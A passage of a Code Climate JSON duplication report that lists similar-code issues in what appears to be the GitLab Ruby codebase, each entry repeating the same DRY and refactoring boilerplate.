lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9c68d19fac636a233c57119e7465aae0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/group_variables.rb","lines":{"begin":31,"end":38}},"remediation_points":170000,"other_locations":[{"path":"lib/api/variables.rb","lines":{"begin":31,"end":38}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fb90f649add7621cd688c8cf825bd6ac","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/spaced_link_filter.rb","lines":{"begin":47,"end":56}},"remediation_points":170000,"other_locations":[{"path":"lib/banzai/filter/autolink_filter.rb","lines":{"begin":54,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bde5f678a848776d31606c1f7b9474fa","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/autolink_filter.rb","lines":{"begin":54,"end":63}},"remediation_points":170000,"other_locations":[{"path":"lib/banzai/filter/spaced_link_filter.rb","lines":{"begin":47,"end":56}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37daabf17a192f4d7be1f8b27c2260a6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/fill_file_store_job_artifact.rb","lines":{"begin":5,"end":15}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/background_migration/fill_file_store_lfs_object.rb","lines":{"begin":5,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8744b4f4833ad7e9ac1e28093ac9f90e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/fill_file_store_lfs_object.rb","lines":{"begin":5,"end":15}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/background_migration/fill_file_store_job_artifact.rb","lines":{"begin":5,"end":15}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7504dbd080f799a40cd6f4e9f9588e2e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":419,"end":427}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/gitaly_client/blob_service.rb","lines":{"begin":93,"end":101}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"63af7969c300adefbe9421c884f45ddf","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/blob_service.rb","lines":{"begin":93,"end":101}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":419,"end":427}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"037891a3606e1c8a2fffd32f88e7cede","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/metrics/samplers/unicorn_sampler.rb","lines":{"begin":23,"end":25}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/metrics/samplers/unicorn_sampler.rb","lines":{"begin":28,"end":30}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8a65a519016a876bba37ba5a3c7a819f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/metrics/samplers/unicorn_sampler.rb","lines":{"begin":28,"end":30}},"remediation_points":170000,"other_locations":[{"path":"lib/gitlab/metrics/samplers/unicorn_sampler.rb","lines":{"begin":23,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8a65a519016a876bba37ba5a3c7a819f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/system_check/orphans/repository_check.rb","lines":{"begin":25,"end":32}},"remediation_points":170000,"other_locations":[{"path":"lib/system_check/orphans/namespace_check.rb","lines":{"begin":23,"end":30}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6d29fff75b609f46ded82f4a44c12b3e","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/system_check/orphans/namespace_check.rb","lines":{"begin":23,"end":30}},"remediation_points":170000,"other_locations":[{"path":"lib/system_check/orphans/repository_check.rb","lines":{"begin":25,"end":32}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f5b93c21edd90205b8238e3ade31ae23","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/concerns/created_at_filter.rb","lines":{"begin":4,"end":8}},"remediation_points":150000,"other_locations":[{"path":"app/finders/issuable_finder.rb","lines":{"begin":315,"end":319}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4781409b61d0fe8557e646dde62af4ee","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":315,"end":319}},"remediation_points":150000,"other_locations":[{"path":"app/finders/concerns/created_at_filter.rb","lines":{"begin":4,"end":8}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee 